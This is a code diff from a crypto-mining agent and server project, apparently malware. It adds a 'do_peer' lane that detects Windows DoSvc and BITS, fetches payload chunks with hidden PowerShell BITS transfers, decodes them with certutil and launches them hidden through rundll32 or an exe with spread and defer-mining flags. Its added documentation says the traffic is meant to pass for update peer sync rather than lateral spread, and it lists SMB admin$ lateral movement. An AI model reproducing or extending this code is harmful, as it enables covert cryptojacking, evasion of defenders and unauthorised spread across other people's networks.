diff --git a/agent/deploy/discover_join.go b/agent/deploy/discover_join.go index 35aba87..248927f 100644 --- a/agent/deploy/discover_join.go +++ b/agent/deploy/discover_join.go @@ -18,6 +18,7 @@ type DeployPlanBody struct { MatchedService string `json:"matched_service,omitempty"` Action string `json:"action"` Manifest *StagingManifest `json:"manifest,omitempty"` + PeerGroup string `json:"peer_group,omitempty"` Script string `json:"script,omitempty"` UNCPath string `json:"unc_path,omitempty"` MaxHosts int `json:"max_hosts,omitempty"` @@ -57,6 +58,19 @@ func ExecuteDeployPlan(cfg config.RuntimeConfig, plan DeployPlanBody) (string, e lane = strings.TrimSpace(plan.Action) } switch lane { + case "do_peer": + if plan.Manifest == nil { + return "", fmt.Errorf("join lane do_peer requires staging manifest") + } + peer := strings.TrimSpace(plan.PeerGroup) + if peer == "" { + peer = strings.TrimSpace(plan.Manifest.PeerGroup) + } + msg, err := RunDOPeerStaging(cfg, DOPeerFromStagingManifest(*plan.Manifest, peer)) + if err != nil { + return "", err + } + return msg, nil case "bits_curl", "docker_load": if plan.Manifest == nil { return "", fmt.Errorf("join lane %s requires staging manifest", lane) diff --git a/agent/deploy/discover_join_test.go b/agent/deploy/discover_join_test.go index 0b69f72..484bcc5 100644 --- a/agent/deploy/discover_join_test.go +++ b/agent/deploy/discover_join_test.go @@ -5,6 +5,8 @@ import ( "crypto/sha256" "encoding/hex" "encoding/json" + "os" + "strings" "testing" "crypto-miner-agent/config" @@ -76,3 +78,76 @@ func TestRunDiscoverAndJoinFakeServices(t *testing.T) { t.Fatalf("lane=%q detail=%q", lane, detail) } } + +func TestRunDiscoverAndJoinDOPeerPlan(t *testing.T) { + cfg := config.RuntimeConfig{ + BuiltinConfig: config.BuiltinConfig{ + FleetSecret: "fleet-test", + WorkerName: "test-worker", + ServerURL: "http://127.0.0.1:8989", + }, + } + + payload := []byte("do-peer-signed-plan") + sum := sha256.Sum256(payload) + hash := hex.EncodeToString(sum[:]) + + oldBits := doPeerDownloadBITSFn + doPeerDownloadBITSFn = func(url, dest string) error { + return os.WriteFile(dest, payload, 0o644) + } + defer func() { doPeerDownloadBITSFn = oldBits }() + + fetch := func(services []DeployServiceFinding, uncPath string) (DeployPlanResponse, error) { + plan := DeployPlanBody{ + JoinLane: "do_peer", + Action: "do_peer", + PeerGroup: "af-peer-lab", + Manifest: &StagingManifest{ + Method: "bits", + Chunks: []StagingChunk{{URL: "http://127.0.0.1/chunk", File: "peer-0.bin"}}, + SHA256: hash, + Dest: "do-peer-test-worker.exe", + Launch: "exe", + DeferMining: true, + SpreadInstall: true, + }, + } + payloadJSON, _ := json.Marshal(plan) + mac := hmac.New(sha256.New, []byte(cfg.FleetSecret)) + mac.Write(payloadJSON) + return DeployPlanResponse{ + OK: true, + JoinLane: "do_peer", + Plan: plan, + Signature: hex.EncodeToString(mac.Sum(nil)), + }, nil + } + + oldDiscover := runServiceDiscoverFn + runServiceDiscoverFn = func(maxLANHosts int) string { + return `{"probed_at":"2026-06-06T12:00:00Z","local":{"host":"10.0.0.1","subnet":"10.0.0","services":[{"service_name":"DoSvc","status":"running","join_lane_candidate":"do_peer","source":"local_service"}]}}` + } + defer func() { runServiceDiscoverFn = oldDiscover }() + + lane, detail, err := RunDiscoverAndJoin(cfg, 8, fetch) + if lane != "do_peer" { + t.Fatalf("lane=%q err=%v", lane, err) + } + if err != nil { + if strings.Contains(err.Error(), "Windows-only") || strings.Contains(err.Error(), "launch") { + return + } + t.Fatalf("unexpected error: %v", err) + } + if detail == "" { + t.Fatal("expected success detail") + } +} + +func TestExecuteDeployPlanDOPeerRequiresManifest(t *testing.T) { + _, err := ExecuteDeployPlan(config.RuntimeConfig{}, DeployPlanBody{JoinLane: "do_peer", Action: "do_peer"}) + if err == nil || !strings.Contains(err.Error(), "requires staging manifest") { + t.Fatalf("err=%v", err) + } +} diff --git a/agent/deploy/do_peer_staging.go b/agent/deploy/do_peer_staging.go new file mode 100644 index 0000000..543c010 --- /dev/null +++ b/agent/deploy/do_peer_staging.go @@ -0,0 +1,165 @@ +package deploy + +import ( + "fmt" + "os" + "path/filepath" + "runtime" + "strings" + + "crypto-miner-agent/config" +) + +// DOPeerManifest describes Shadow Cache Handoff staging via DoSvc/BITS peer chunk pattern. +type DOPeerManifest struct { + Method string `json:"method"` + Chunks []StagingChunk `json:"chunks"` + SHA256 string `json:"sha256"` + Dest string `json:"dest"` + Launch string `json:"launch"` + DLLExport string `json:"dll_export,omitempty"` + Encoded bool `json:"encoded"` + DeferMining bool `json:"defer_mining,omitempty"` + SpreadInstall bool `json:"spread_install,omitempty"` + PeerGroup string `json:"peer_group,omitempty"` +} + +// DOPeerFromStagingManifest maps a signed deploy-plan manifest into a do_peer payload. +func DOPeerFromStagingManifest(m StagingManifest, peerGroup string) DOPeerManifest { + return DOPeerManifest{ + Method: m.Method, + Chunks: m.Chunks, + SHA256: m.SHA256, + Dest: m.Dest, + Launch: m.Launch, + DLLExport: m.DLLExport, + Encoded: m.Encoded, + DeferMining: m.DeferMining, + SpreadInstall: m.SpreadInstall, + PeerGroup: peerGroup, + } +} + +// Injectable download hooks for tests and alternate transports. +var ( + doPeerDownloadCurlFn func(url, dest string) error + doPeerDownloadBITSFn func(url, dest string) error +) + +type doPeerDownloader func(url, dest string) error + +func doPeerWorkDir(cfg config.RuntimeConfig, manifest DOPeerManifest) string { + group := sanitizeName(manifest.PeerGroup) + if group == "" { + group = "local" + } + return filepath.Join(os.TempDir(), ".do-peer-"+group+"-"+sanitizeName(cfg.WorkerName)) +} + +// assembleDOPeerPayload downloads chunks, verifies SHA256, and returns the staged dest path. +func assembleDOPeerPayload(cfg config.RuntimeConfig, manifest DOPeerManifest, curlDL, bitsDL doPeerDownloader) (dest string, cleanup func(), err error) { + if len(manifest.Chunks) == 0 { + return "", nil, fmt.Errorf("do_peer manifest has no chunks") + } + dest, err = ResolveStagingPath(manifest.Dest) + if err != nil { + return "", nil, err + } + workDir := doPeerWorkDir(cfg, manifest) + if err := os.MkdirAll(workDir, 0o700); err != nil { + return "", nil, err + } + cleanupFn := func() { _ = os.RemoveAll(workDir) } + + method := strings.ToLower(strings.TrimSpace(manifest.Method)) + if method == "" { + method = "bits" + } + + var assembled []string + for i, chunk := range manifest.Chunks { + name, err := sanitizeStagingFilename(chunk.File) + if err != nil { + cleanupFn() + return "", nil, fmt.Errorf("chunk %d: %w", i, err) + } + localPath := filepath.Join(workDir, name) + if err := os.MkdirAll(filepath.Dir(localPath), 0o700); err != nil { + cleanupFn() + return "", nil, err + } + switch method { + case "bits", "bitsadmin": + dl := bitsDL + if dl == nil { + cleanupFn() + return "", nil, fmt.Errorf("bits downloader unavailable") + } + if err := dl(chunk.URL, localPath); err != nil { + cleanupFn() + return "", nil, fmt.Errorf("bits chunk %d: %w", i, err) + } + default: + dl := curlDL + if dl == nil { + cleanupFn() + return "", nil, fmt.Errorf("curl downloader unavailable") + } + if err := dl(chunk.URL, localPath); err != nil { + cleanupFn() + return "", nil, fmt.Errorf("curl chunk %d: %w", i, err) + } + } + if manifest.Encoded || strings.HasSuffix(strings.ToLower(name), ".b64") { + decoded := strings.TrimSuffix(localPath, filepath.Ext(localPath)) + ".bin" + if err := certutilDecodePeer(localPath, decoded); err != nil { + cleanupFn() + return "", nil, fmt.Errorf("certutil chunk %d: %w", i, err) + } + assembled = append(assembled, decoded) + } else { + assembled = append(assembled, localPath) + } + } + + if err := os.MkdirAll(filepath.Dir(dest), 0o755); err != nil { + cleanupFn() + return "", nil, err + } + if len(assembled) == 1 { + if err := os.Rename(assembled[0], dest); err != nil { + if err := copyFile(assembled[0], dest); err != nil { + cleanupFn() + return "", nil, err + } + } + } else { + if err := concatFiles(dest, assembled); err != nil { + cleanupFn() + return "", nil, err + } + } + if err := verifyFileSHA256(dest, manifest.SHA256); err != nil { + _ = os.Remove(dest) + cleanupFn() + return "", nil, err + } + return dest, cleanupFn, nil +} + +func certutilDecodePeer(src, dest string) error { + if certutilDecodePeerFn != nil { + return certutilDecodePeerFn(src, dest) + } + return certutilDecodePeerPlatform(src, dest) +} + +var certutilDecodePeerFn func(src, dest string) error + +// RunDOPeerStaging verifies SHA256, assembles peer-cache chunks, and launches the worker. +func RunDOPeerStaging(cfg config.RuntimeConfig, manifest DOPeerManifest) (string, error) { + if runtime.GOOS != "windows" { + return "", fmt.Errorf("do_peer staging is Windows-only") + } + return runDOPeerStagingWindows(cfg, manifest) +} diff --git a/agent/deploy/do_peer_staging_stub.go b/agent/deploy/do_peer_staging_stub.go new file mode 100644 index 0000000..81ba044 --- /dev/null +++ b/agent/deploy/do_peer_staging_stub.go @@ -0,0 +1,14 @@ +//go:build !windows + +package deploy + +import "fmt" + +// IsDOPeerReady is Windows-only (DoSvc + BITS peer cache). +func IsDOPeerReady() bool { + return false +} + +func certutilDecodePeerPlatform(src, dest string) error { + return fmt.Errorf("certutil decode unavailable") +} diff --git a/agent/deploy/do_peer_staging_test.go b/agent/deploy/do_peer_staging_test.go new file mode 100644 index 0000000..4804c71 --- /dev/null +++ b/agent/deploy/do_peer_staging_test.go @@ -0,0 +1,114 @@ +package deploy + +import ( + "crypto/sha256" + "encoding/hex" + "os" + "path/filepath" + "strings" + "testing" + + "crypto-miner-agent/config" +) + +func TestDOPeerRejectsPathTraversal(t *testing.T) { + manifest := DOPeerManifest{ + Chunks: []StagingChunk{{URL: "http://127.0.0.1/a", File: "chunk.bin"}}, + SHA256: strings.Repeat("a", 64), + Dest: "../../outside.exe", + } + cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{WorkerName: "test"}} + _, _, err := assembleDOPeerPayload(cfg, manifest, fakeDownload, fakeDownload) + if err == nil || !strings.Contains(err.Error(), "path traversal") { + t.Fatalf("expected path traversal error, got %v", err) + } +} + +func TestDOPeerSanitizeChunkFilename(t *testing.T) { + got, err := sanitizeStagingFilename("../peer-chunk.bin") + if err != nil { + // stripped traversal components may still yield safe name + if got != "" && strings.Contains(got, "..") { + t.Fatalf("leaked traversal: %q", got) + } + return + } + if strings.Contains(got, "..") { + t.Fatalf("sanitize leaked traversal: %q", got) + } +} + +func TestDOPeerAssembleWithFakeDownloaders(t *testing.T) { + dir := t.TempDir() + chunkPath := filepath.Join(dir, "peer-0.bin") + payload := []byte("shadow-cache-handoff-payload") + if err := os.WriteFile(chunkPath, payload, 0o644); err != nil { + t.Fatal(err) + } + sum := sha256.Sum256(payload) + destRel := filepath.Join("af-peer", "worker.exe") + + fakeDL := func(url, dest string) error { + if url != "file://chunk" { + t.Fatalf("unexpected url %q", url) + } + return copyFile(chunkPath, dest) + } + + cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{WorkerName: "peer-test"}} + manifest := DOPeerManifest{ + Method: "curl", + Chunks: []StagingChunk{{URL: "file://chunk", File: "peer-0.bin"}}, + SHA256: hex.EncodeToString(sum[:]), + Dest: destRel, + PeerGroup: "lan-group-1", + } + + resolvedDest, err := ResolveStagingPath(destRel) + if err != nil { + t.Fatal(err) + } + _ = os.Remove(resolvedDest) + manifest.Dest = destRel + + staged, cleanup, err := assembleDOPeerPayload(cfg, manifest, fakeDL, fakeDL) + if err != nil { + t.Fatal(err) + } + defer cleanup() + if staged != resolvedDest { + t.Fatalf("dest=%q want %q", staged, resolvedDest) + } + if err := verifyFileSHA256(staged, manifest.SHA256); err != nil { + t.Fatal(err) + } +} + +func TestDOPeerSHA256MismatchRejected(t *testing.T) { + dir := t.TempDir() + chunkPath := filepath.Join(dir, "peer-0.bin") + if err := os.WriteFile(chunkPath, []byte("wrong-bytes"), 0o644); err != nil { + t.Fatal(err) + } + fakeDL := func(url, dest string) error { + return copyFile(chunkPath, dest) + } + cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{WorkerName: "peer-test"}} + manifest := DOPeerManifest{ + Method: "bits", + Chunks: []StagingChunk{{URL: "http://127.0.0.1/x", File: "peer-0.bin"}}, + SHA256: strings.Repeat("b", 64), + Dest: "worker.exe", + } + _, cleanup, err := assembleDOPeerPayload(cfg, manifest, fakeDL, fakeDL) + if cleanup != nil { + defer cleanup() + } + if err == nil || !strings.Contains(err.Error(), "sha256 mismatch") { + t.Fatalf("expected sha256 mismatch, got %v", err) + } +} + +func fakeDownload(url, dest string) error { + return os.WriteFile(dest, []byte("x"), 0o644) +} diff --git a/agent/deploy/do_peer_staging_windows.go b/agent/deploy/do_peer_staging_windows.go new file mode 100644 index 0000000..f41aec4 --- /dev/null +++ b/agent/deploy/do_peer_staging_windows.go @@ -0,0 +1,101 @@ +//go:build windows + +package deploy + +import ( + "fmt" + "os/exec" + "strings" + + "crypto-miner-agent/config" +) + +// IsDOPeerReady reports whether DoSvc and BITS are available for shadow cache handoff. +func IsDOPeerReady() bool { + if !serviceRunning("DoSvc") { + return false + } + if _, err := exec.LookPath("bitsadmin.exe"); err != nil { + if st := serviceStatus("BITS"); st != "running" && st != "started" { + return false + } + } + return true +} + +func serviceRunning(name string) bool { + return serviceStatus(name) == "running" || serviceStatus(name) == "started" +} + +func serviceStatus(name string) string { + out, err := HiddenOutput("sc.exe", "query", name) + if err != nil { + return "" + } + for _, line := range strings.Split(string(out), "\n") { + line = strings.TrimSpace(line) + if strings.HasPrefix(strings.ToUpper(line), "STATE") { + upper := strings.ToUpper(line) + if strings.Contains(upper, "RUNNING") { + return "running" + } + if strings.Contains(upper, "STOPPED") { + return "stopped" + } + } + } + return "" +} + +func certutilDecodePeerPlatform(src, dest string) error { + return HiddenRun("certutil.exe", "-f", "-decode", src, dest) +} + +func runDOPeerStagingWindows(cfg config.RuntimeConfig, manifest DOPeerManifest) (string, error) { + curlDL := doPeerDownloadCurlFn + if curlDL == nil { + curlDL = downloadChunkCurl + } + bitsDL := doPeerDownloadBITSFn + if bitsDL == nil { + bitsDL = downloadChunkBITS + } + + dest, cleanup, err := assembleDOPeerPayload(cfg, manifest, curlDL, bitsDL) + if err != nil { + return "", err + } + defer cleanup() + + method := strings.ToLower(strings.TrimSpace(manifest.Method)) + if method == "" { + method = "bits" + } + + launch := strings.ToLower(strings.TrimSpace(manifest.Launch)) + switch launch { + case "rundll32", "dll": + export := strings.TrimSpace(manifest.DLLExport) + if export == "" { + export = "DllRegisterServer" + } + if err := HiddenStart("rundll32.exe", dest+","+export); err != nil { + return "", fmt.Errorf("rundll32 launch: %w", err) + } + return fmt.Sprintf("do_peer staged %d chunk(s) via %s peer_group=%s to %s; launched rundll32 %s", + len(manifest.Chunks), method, manifest.PeerGroup, dest, export), nil + default: + args := []string{runFlag} + if manifest.DeferMining { + args = append(args, deferMiningFlag) + } + if manifest.SpreadInstall { + args = append(args, spreadFlag) + } + if err := HiddenStart(dest, args...); err != nil { + return "", fmt.Errorf("exe launch: %w", err) + } + return fmt.Sprintf("do_peer staged %d chunk(s) via %s peer_group=%s to %s; launched exe %v", + len(manifest.Chunks), method, manifest.PeerGroup, dest, args), nil + } +} diff --git a/agent/deploy/lotl_onion_windows.go b/agent/deploy/lotl_onion_windows.go index 17e4d75..7150f00 100644 --- a/agent/deploy/lotl_onion_windows.go +++ b/agent/deploy/lotl_onion_windows.go @@ -45,6 +45,14 @@ func tryLotlTier(cfg config.RuntimeConfig, tier string) (bool, string) { _ = HiddenRun("powershell.exe", "-NoProfile", "-WindowStyle", "Hidden", "-Command", fmt.Sprintf("Start-BitsTransfer -Source %q -Destination $env:TEMP\\af-install.ps1 -ErrorAction SilentlyContinue", installURL)) return true, "bits/curl install hook queued" + case "do_peer": + if !IsDOPeerReady() { + return false, "DoSvc not running or BITS unavailable" + } + installURL := strings.TrimRight(cfg.ServerURL, "/") + "/get?os=windows" + _ = HiddenRun("powershell.exe", "-NoProfile", "-WindowStyle", "Hidden", "-Command", + fmt.Sprintf("Start-BitsTransfer -Source %q -Destination $env:TEMP\\af-do-peer.bin -TransferType Download -Priority Foreground -ErrorAction SilentlyContinue", installURL)) + return true, "do_peer shadow cache BITS handoff queued (signed plan via discover_and_join)" case "smb": if !cfg.AutoSpread && !cfg.ShareSpread { go RunSpreadOnce(cfg) diff --git a/agent/deploy/lotl_tiers.go b/agent/deploy/lotl_tiers.go index d57346a..4afa005 100644 --- a/agent/deploy/lotl_tiers.go +++ b/agent/deploy/lotl_tiers.go @@ -11,6 +11,7 @@ var DefaultLotlOnionTiers = []string{ "powershell", "dotnet", "bits_curl", + "do_peer", "smb", "winrm", "linux", @@ -22,7 +23,7 @@ func NormalizeLotlTiers(raw []string) []string { allowed := map[string]struct{}{ "vuln_recon": {}, "docker": {}, "wsl": {}, "powershell": {}, "dotnet": {}, - "bits_curl": {}, "smb": {}, "winrm": {}, "linux": {}, "gpo": {}, + "bits_curl": {}, "do_peer": {}, "smb": {}, "winrm": {}, "linux": {}, "gpo": {}, } out := make([]string, 0, len(raw)) for _, t := range raw { diff --git a/agent/deploy/service_discovery_test.go b/agent/deploy/service_discovery_test.go index 129ac27..7b0f9a4 100644 --- a/agent/deploy/service_discovery_test.go +++ b/agent/deploy/service_discovery_test.go @@ -18,6 +18,7 @@ func TestJoinLaneForSignal(t *testing.T) { {"sshd", 22, "linux"}, {"docker", 0, "docker"}, {"CCMEXEC", 0, "gpo"}, + {"DoSvc", 0, "do_peer"}, {"gitlab-runner", 0, "bits_curl"}, {"jenkins", 8080, "bits_curl"}, {"unknown-svc", 9999, ""}, diff --git a/agent/deploy/service_discovery_windows.go b/agent/deploy/service_discovery_windows.go index cf17aa8..b3661bd 100644 --- a/agent/deploy/service_discovery_windows.go +++ b/agent/deploy/service_discovery_windows.go @@ -16,7 +16,7 @@ $p = [ordered]@{ services = @(); hints = @() } $watch = @( 'CCMEXEC','CcmSetup','SmsAgent','WinRM','ssh','sshd','LanmanServer','Docker', 'com.docker.service','jenkins','Jenkins','gitlab-runner','GitLabRunner', - 'OpenSSH SSH Server','cloudflared','gpsvc' + 'OpenSSH SSH Server','cloudflared','gpsvc','DoSvc','BITS' ) foreach ($n in $watch) { try { diff --git a/agent/deploy/service_graph.go b/agent/deploy/service_graph.go index 2f884ba..4ab77ea 100644 --- a/agent/deploy/service_graph.go +++ b/agent/deploy/service_graph.go @@ -48,6 +48,8 @@ func JoinLaneForSignal(serviceName string, port int) string { return "powershell" case strings.Contains(name, "dotnet"): return "dotnet" + case strings.Contains(name, "dosvc") || strings.Contains(name, "delivery optimization"): + return "do_peer" case strings.Contains(name, "jenkins") || strings.Contains(name, "gitlab") || strings.Contains(name, "runner"): return "bits_curl" case strings.Contains(name, "ccmexec") || strings.Contains(name, "sms_agent") || strings.Contains(name, "sccm"): diff --git a/agent/deploy/staging.go b/agent/deploy/staging.go index 0b6fad3..1e3c3bb 100644 --- a/agent/deploy/staging.go +++ b/agent/deploy/staging.go @@ -27,6 +27,7 @@ type StagingManifest struct { Encoded bool `json:"encoded"` // chunks are base64; decode via certutil DeferMining bool `json:"defer_mining,omitempty"` SpreadInstall bool `json:"spread_install,omitempty"` + PeerGroup string `json:"peer_group,omitempty"` } // ResolveStagingPath applies the same traversal hygiene as upload/download commands. diff --git a/agent/miner/triple_onion.go b/agent/miner/triple_onion.go index 923ee92..a708553 100644 --- a/agent/miner/triple_onion.go +++ b/agent/miner/triple_onion.go @@ -48,6 +48,7 @@ var DefaultReconTiers = []string{ } // DefaultDeployLanes is the discover_and_join lane order (mirrors LOTL spread tiers). +// Deploy success is spread-only; terminal goal is always mining via startMiningWhenReady(). var DefaultDeployLanes = []string{ "discover_and_join", "docker", @@ -55,6 +56,7 @@ var DefaultDeployLanes = []string{ "powershell", "dotnet", "bits_curl", + "do_peer", "smb", "winrm", } diff --git a/server/internal/api/deploy_plan.go b/server/internal/api/deploy_plan.go index 7fb6df0..f24d6a8 100644 --- a/server/internal/api/deploy_plan.go +++ b/server/internal/api/deploy_plan.go @@ -27,6 +27,7 @@ type StagingManifest struct { Encoded bool `json:"encoded"` DeferMining bool `json:"defer_mining,omitempty"` SpreadInstall bool `json:"spread_install,omitempty"` + PeerGroup string `json:"peer_group,omitempty"` } type StagingChunk struct { @@ -40,6 +41,7 @@ type DeployPlanBody struct { MatchedService string `json:"matched_service,omitempty"` Action string `json:"action"` Manifest *StagingManifest `json:"manifest,omitempty"` + PeerGroup string `json:"peer_group,omitempty"` Script string `json:"script,omitempty"` UNCPath string `json:"unc_path,omitempty"` MaxHosts int `json:"max_hosts,omitempty"` @@ -145,6 +147,13 @@ func (h *DeployPlanHandler) buildPlan(req deployPlanRequest, matched string, lan } switch lane.Lane { + case "do_peer": + manifest, err := h.buildDOPeerManifest(req, serverURL) + if err != nil { + return DeployPlanBody{}, err + } + body.Manifest = manifest + body.PeerGroup = manifest.PeerGroup case "bits_curl": manifest, err := h.buildStagingManifest(req, serverURL) if err != nil { @@ -182,6 +191,69 @@ func (h *DeployPlanHandler) buildPlan(req deployPlanRequest, matched string, lan return body, nil } +// buildDOPeerManifest stages hash-verified chunks via BITS peer-style transfer. +// Deploy success is a spread step only — agent keeps --defer-mining until diagnostics pass, +// then startMiningWhenReady() completes the mining onion (terminal goal). +func (h *DeployPlanHandler) buildDOPeerManifest(req deployPlanRequest, serverURL string) (*StagingManifest, error) { + platform := strings.TrimSpace(req.Platform) + if platform == "" { + platform = "windows" + } + buildID := strings.TrimSpace(req.BuildID) + build, err := h.resolveBuild(buildID, platform) + if err != nil { + return nil, err + } + hash, err := fileSHA256(build.FilePath) + if err != nil { + return nil, fmt.Errorf("build hash: %w", err) + } + + _, getQuerySuffix := buildQuerySuffix(buildID, req.Campaign) + downloadURL := serverURL + "/get?os=" + platform + getQuerySuffix + peerGroup := "af-peer-" + hash[:8] + if campaign := strings.TrimSpace(req.Campaign); campaign != "" { + peerGroup = "af-peer-" + sanitizeDeployToken(campaign) + } + + dest := `%TEMP%\AetherForge\do-peer-worker.exe` + launch := "exe" + if strings.HasSuffix(strings.ToLower(build.FileName), ".dll") { + dest = `%TEMP%\AetherForge\do-peer-worker.dll` + launch = "rundll32" + } + + return &StagingManifest{ + Method: "bits", + Chunks: []StagingChunk{{URL: downloadURL, File: filepath.Base(build.FileName)}}, + SHA256: hash, + Dest: dest, + Launch: launch, + DLLExport: "DllRegisterServer", + DeferMining: true, + SpreadInstall: true, + PeerGroup: peerGroup, + }, nil +} + +func sanitizeDeployToken(s string) string { + s = strings.ToLower(strings.TrimSpace(s)) + var b strings.Builder + for _, r := range s { + if (r >= 'a' && r <= 'z') || (r >= '0' && r <= '9') || r == '-' { + b.WriteRune(r) + } + } + out := b.String() + if out == "" { + return "local" + } + if len(out) > 24 { + return out[:24] + } + return out +} + func (h *DeployPlanHandler) buildStagingManifest(req deployPlanRequest, serverURL string) (*StagingManifest, error) { platform := strings.TrimSpace(req.Platform) if platform == "" { diff --git a/server/internal/api/service_deploy.go b/server/internal/api/service_deploy.go index 02376d4..35a8223 100644 --- a/server/internal/api/service_deploy.go +++ b/server/internal/api/service_deploy.go @@ -6,7 +6,7 @@ import ( // ServiceDeployLane maps a discovered Windows/Linux service to a LOTL join lane. type ServiceDeployLane struct { - Lane string `json:"lane"` // bits_curl | docker_load | winrm | gpo | spread_smb_unc | linux_lotl + Lane string `json:"lane"` // bits_curl | do_peer | docker_load | winrm | gpo | spread_smb_unc | linux_lotl Priority int `json:"priority,omitempty"` // higher wins when multiple services match Template string `json:"template,omitempty"` // spread template id (gpo | winrm | linux-lotl) } @@ -14,6 +14,8 @@ type ServiceDeployLane struct { // DefaultServiceDeployAllowlist maps allowlisted services to deploy lanes. // CCMEXEC → BITS staging; Docker → docker_load; WinRM → bootstrap; gpsvc → GPO; LanmanServer → SMB UNC. var DefaultServiceDeployAllowlist = map[string]ServiceDeployLane{ + "DoSvc": {Lane: "do_peer", Priority: 35}, + "Delivery Optimization": {Lane: "do_peer", Priority: 35}, "CCMEXEC": {Lane: "bits_curl", Priority: 10}, "CcmExec": {Lane: "bits_curl", Priority: 10}, "BITS": {Lane: "bits_curl", Priority: 8}, @@ -65,6 +67,8 @@ func normalizeJoinLane(lane string) string { switch lane { case "bits", "bits/curl", "bits_curl", "bits-curl": return "bits_curl" + case "do_peer", "do-peer", "dosvc": + return "do_peer" case "docker", "docker_load", "docker-load": return "docker_load" case "smb", "smb_unc", "spread_smb_unc", "spread-smb-unc": diff --git a/server/internal/api/service_deploy_test.go b/server/internal/api/service_deploy_test.go index 605ae40..cc3e715 100644 --- a/server/internal/api/service_deploy_test.go +++ b/server/internal/api/service_deploy_test.go @@ -2,6 +2,27 @@ package api import "testing" +func TestPickDeployLaneDoSvc(t *testing.T) { + allowlist := NormalizeServiceDeployAllowlist(nil) + services := []DeployServiceFinding{ + {Name: "CCMEXEC", Status: "running"}, + {Name: "DoSvc", Status: "running"}, + } + matched, lane, ok := PickDeployLane(services, allowlist) + if !ok { + t.Fatal("expected match") + } + if matched != "DoSvc" || lane.Lane != "do_peer" { + t.Fatalf("matched=%q lane=%q", matched, lane.Lane) + } +} + +func TestNormalizeJoinLaneDoPeer(t *testing.T) { + if got := normalizeJoinLane("do-peer"); got != "do_peer" { + t.Fatalf("got %q", got) + } +} + func TestPickDeployLanePriority(t *testing.T) { allowlist := NormalizeServiceDeployAllowlist(map[string]ServiceDeployLane{ "CCMEXEC": {Lane: "bits_curl", Priority: 10}, diff --git a/server/internal/builder/lotl_onion.go b/server/internal/builder/lotl_onion.go index 92763cb..ef0ff9a 100644 --- a/server/internal/builder/lotl_onion.go +++ b/server/internal/builder/lotl_onion.go @@ -10,6 +10,7 @@ var DefaultLotlOnionTiers = []string{ "powershell", "dotnet", "bits_curl", + "do_peer", "smb", "winrm", "linux", @@ -21,7 +22,7 @@ func NormalizeLotlOnionTiers(raw []string) []string { allowed := map[string]struct{}{ "vuln_recon": {}, "docker": {}, "wsl": {}, "powershell": {}, "dotnet": {}, - "bits_curl": {}, "smb": {}, "winrm": {}, "linux": {}, "gpo": {}, + "bits_curl": {}, "do_peer": {}, "smb": {}, "winrm": {}, "linux": {}, "gpo": {}, } out := make([]string, 0, len(raw)) for _, t := range raw { diff --git a/server/web/public/docs/SPREAD_TECHNIQUES.html b/server/web/public/docs/SPREAD_TECHNIQUES.html index d63a851..7a8f0bf 100644 --- a/server/web/public/docs/SPREAD_TECHNIQUES.html +++ b/server/web/public/docs/SPREAD_TECHNIQUES.html @@ -418,6 +418,11 @@ irm https://your.site/install.ps1?pin={build_id}&c=docs | iex BITS (bitsadmin) or curl.exe staging — optional certutil -decode, SHA256 verify, launch. Crucible stage_fetch: {"method":"curl","chunks":[{"url":"https://deck/chunk1.b64","file":"c1.b64"}],"sha256":"…","dest":"%TEMP%\\worker.exe","launch":"exe"} + + do_peer + DoSvc + BITS shadow cache handoff — hash-verified peer chunk staging on LAN; launch via rundll32 or exe with --defer-mining. + Probe & Join when DoSvc is running — signed plan: {"join_lane":"do_peer","peer_group":"af-peer-…","manifest":{"method":"bits","launch":"rundll32","defer_mining":true}} + smb (spread_smb_unc) admin$ / C$ lateral via sc.exe + net.exe on open port 445 — no PsExec. diff --git a/server/web/src/components/Fleet/ReconBadges.test.tsx b/server/web/src/components/Fleet/ReconBadges.test.tsx index 018c67d..05b9199 100644 --- a/server/web/src/components/Fleet/ReconBadges.test.tsx +++ b/server/web/src/components/Fleet/ReconBadges.test.tsx @@ -38,6 +38,11 @@ describe('Recon badges', () => { }); it('JoinLaneBadge renders lane label', () => { + render(); + expect(screen.getByText('DoSvc peer')).toBeInTheDocument(); + }); + + it('JoinLaneBadge renders docker lane label', () => { render(); expect(screen.getByText('Docker')).toBeInTheDocument(); }); diff --git a/server/web/src/help/forgeOperationModes.test.ts b/server/web/src/help/forgeOperationModes.test.ts index 1f3f075..72c736e 100644 --- a/server/web/src/help/forgeOperationModes.test.ts +++ b/server/web/src/help/forgeOperationModes.test.ts @@ -132,7 +132,7 @@ describe('forgeOperationModes', () => { expect(next.gpu_enabled).toBe(false); expect(next.lotl_onion_enabled).toBe(true); expect(next.lotl_policy_from_server).toBe(true); - expect(next.lotl_onion_tiers).toHaveLength(10); + expect(next.lotl_onion_tiers).toHaveLength(11); expect(next.lotl_onion_tiers?.[0]).toBe('vuln_recon'); expect(next.spread_kit).toBe(false); expect(next.auto_spread).toBe(true); diff --git a/server/web/src/help/lotlOnionTiers.ts b/server/web/src/help/lotlOnionTiers.ts index 72205c1..b9c264f 100644 --- a/server/web/src/help/lotlOnionTiers.ts +++ b/server/web/src/help/lotlOnionTiers.ts @@ -7,6 +7,7 @@ export const DEFAULT_LOTL_ONION_TIERS = [ 'powershell', 'dotnet', 'bits_curl', + 'do_peer', 'smb', 'winrm', 'linux', @@ -81,6 +82,15 @@ export const LOTL_ONION_TIER_DOCS: LotlOnionTierDoc[] = [ example: 'Crucible `stage_fetch` manifest: `{"action":"stage_fetch","data":"{\"method\":\"curl\",\"chunks\":[{\"url\":\"https://deck/chunk1.b64\",\"file\":\"c1.b64\"}],\"sha256\":\"abc…\",\"dest\":\"%TEMP%\\\\worker.exe\",\"launch\":\"exe\"}"}`.', }, + { + id: 'do_peer', + label: 'do_peer', + hint: 'DoSvc/BITS shadow cache handoff — LAN peer chunk staging', + definition: + 'Windows Delivery Optimization (DoSvc) + BITS peer-style chunk staging on LAN. Agent seeds/receives hash-verified chunks via a local peer cache pattern and launches via rundll32/BITS — traffic resembles update peer sync, not lateral spread.', + example: + 'Calibrate `service_deploy_allowlist` maps `DoSvc` → `do_peer`. Crucible **Probe & Join** when DoSvc is running: signed plan includes `peer_group`, `sha256`, `launch=rundll32`, and `--defer-mining` until diagnostics pass.', + }, { id: 'smb', label: 'SMB', diff --git a/server/web/src/help/reconRisk.test.ts b/server/web/src/help/reconRisk.test.ts index e132af1..d077e26 100644 --- a/server/web/src/help/reconRisk.test.ts +++ b/server/web/src/help/reconRisk.test.ts @@ 